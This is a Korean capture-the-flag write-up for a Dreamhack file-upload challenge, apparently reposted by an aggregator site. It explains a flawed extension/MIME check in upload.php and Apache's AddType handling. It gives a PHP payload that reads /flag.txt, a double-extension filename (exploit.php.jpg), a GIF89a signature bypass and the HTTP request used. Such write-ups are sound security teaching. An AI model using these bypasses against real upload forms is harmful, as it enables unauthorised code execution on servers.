Loading the catalog…
Loading the catalog…
요약 https://dreamhack.io/wargame/challenges/2624 해당 문제는 File Upload Vulnerability 문제이다. 서버에 업로드 하는 이미지의 확장자 검사 과정에서 취약점을 찾고, 서버에 php 코드를 업로드 하여 flag를 탈취할 수 있다. 분석 코드가 길기 때문에 핵심 부분만 확인해보자. 아래는 upload.php 코드의 일부이다. $filename = basename($file['name']); $file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif']; $check_extension = $file_extension; $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($finfo, $file['tmp_name']); finfo_close($finfo); $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif', 'image/jpg']; if (!in_array($mime_type, $allowed_mimes) && !in_array($check_extension, $allowed_extensions)) { die("<script>alert('Only images allowed.'); history.back();</script>"); } 사용자가 업로드한 파일의 mime_type을 검사하고, 허용된 mimes인지, 또 허용된 확장자인지 검사한다. 다만, if의 조건문은 파일 확장자는 이미지에 해당하나 mime_type이 다른 경우와 mime_type은 허용되나 확장자가 이미지 확장자가 아닌 두 경우에 대해서 업로드를 허용하는 논리적 오류가 있다. 서버의 코드를 살펴보면, /uploads 라는 디렉터리가 존재한다. 아래의 gallary.php에서 이미지를 불러올 때 uploads/에 저장된 이미지를 불러오는 것을 알 수 있다. <?php $upload_dir = "uploads/"; $info_file = $upload_dir . "info.json"; $upload_info = []; if (file_exists($info_file)) { $upload_info = json_decode(file_get_contents($info_file), true) ?: []; } 실제로 /uploads 디렉터리로 이동하면 아래와 같은 화면을 확인할 수 있다. 내가 업로드한 파일들 목록을 확인할 수 있으며 접근할 수도 있다. 이곳에서 Apache 서버를 사용하는 것을 확인할 수 있고, http response에서도 확인할 수 있다. 서버의 /uploads에는 다음과 같은 내용을 포함하는 Apache 서버의 설정파일인 .htaccess 파일이 있다. 확장자가 .php일 경우 Apache가 해당 파일의 mime-type을 application/x-httpd-php로 해석하여, php 코드를 실행하도록 설정되어 있다. AddType application/x-httpd-php .php .phtml .php3 .php4 .php5 .inc 풀이 나는 확장자는 허용된 이미지 확장자지만, 실제 MIME type은 text/x-php인 경우로 진행해보았다. $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif']; 서버 코드를 보면 알 수 있듯이 flag.txt는 /flag.txt에 위치하고 있어 페이로드를 다음과 같이 작성할 수 있었다. <?php echo file_get_contents('/flag.txt'); ?> 이렇게 적고선 확장자를 png로 변경해 실행해 보았지만 응답은 아래와 같았다. HTTP/1.1 200 OK Date: Tue, 06 Oct 2026 15:25:27 GMT Server: Apache/2.4.65 (Debian) Last-Modified: Tue, 06 Oct 2026 15:24:11 GMT ETag: "2f-65d2d9726135c" Accept-Ranges: bytes Content-Length: 47 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/png <?php echo file_get_contents('/flag.txt'); ?> 내 스크립트가 실행되지 않고 그대로 response로 돌아올 뿐이었다. 다시 한 번 /uploads 내의 .htaccess 파일을 확인해보자. 확장자가 .php일 경우 php로 실행이 가능하다. 이 경우에는 단순히 png로 확장자를 바꾼 것 뿐이어서 실행되지 않은 것 같다. AddType application/x-httpd-php .php .phtml .php3 .php4 .php5 .inc 따라서 exploit.php.jpg와 같은 형식으로 고쳐서 업로드 하였고 업로드에 성공하였다. /uploads로 돌아와 업로드 된 것을 확인하고 아래와 같이 해당 파일의 GET 요청을 전송해 보았다. GET /uploads/20261006150233_2259_exploit.php.jpg HTTP/1.1 Host: host3.dreamhack.games:9681 Accept-Language: ko-KR,ko;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID={세션아이디} Connection: keep-alive 결과 php 확장자로 해석되어 flag가 출력되었다. 어째서 exploit.php.jpg가 php 확장자로 해석 되었을까? 후행적이지만 아래와 같이 확인할 수 있었다.. Apache의 mod_mime 모듈은 .(점)으로 구분된 모든 확장자를 각각 검사한다. 또한 AddType application/x-httpd-php .php와 같이 설정된 환경에서는 역사적인 Apache/mod_php 동작에 의해 .php가 포함된 exploit.php.jpg와 같은 파일도 PHP로 처리될 수 있다. 결론적으로 이미지 확장자 검사 자체에 로직 오류가 있었고.. apache의 .htaccess에 있는 AddType 옵션에 따라 php 코드가 실행될 수 있는 취약점으로 인해 임의 코드 실행이 가능했다. 배운 점/느낀 점 문제를 처음 접했을때 php 문법에 익숙하지 않아 코드부터 천천히 이해해 보았다. file upload 취약점은 아직 학습한 적이 없어서 portswigger의 File upload vulnerabilities path를 공부 해보다가 .php.jpg와 같은 방식을 시도해 보았는데 간단하게 해결돼서 사실 조금 당황했다. 문제를 풀어보면서.. 내가 서버 사이드에 대한 이해가 부족하다는 것을 많이 느꼈다. 내가 서버 운영이나 백엔드에 대한 지식이 있었다면 좀 더 쉽게 접근할 수 있었을까? 생각 하다가도 이렇게 웹해킹 학습 과정에서 지식이 쌓여가는 것도 나름 재미있다고 느낀다. 추가 풀이방법 문제를 풀고 다른 분들의 write-up을 둘러보았는데, 내가 확장자를 이미지로 한 것과 달리 mime-type을 우회한 방식도 있었다. php 스크립트의 맨 앞에 GIF89a 라는 시그니처를 추가하여 image/gif로 판별하도록 우회할 수 있었다. GIF89a <?php echo file_get_contents('/flag.txt'); ?> 이렇게 스크립트 작성 시 단순히 php 확장자로도 직접 업로드가 가능했다. 결과
What RADAR observed and classified to build this opportunity. It is what the source published, not a verification that the offer is still active.
Writeup: Image Uploader by Dreamhack 2624. 요약 https://dreamhack.io/wargame/challenges/2624 해당 문제는 File Upload Vulnerability 문제이다. 서버에 업로드 하는 이미지의 확장자 검사 과정에서 취약점을 찾고, 서버에 php 코드를 업로드 하여 flag를 탈취할 수 있다. 분석 코드가 길기 때문에 핵심 부분만 확인해보자. 아래는 upload.php 코드의 일부이다. $filename = basename($file['name']); $file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $allowed_extensions = ['jpg',…
Open source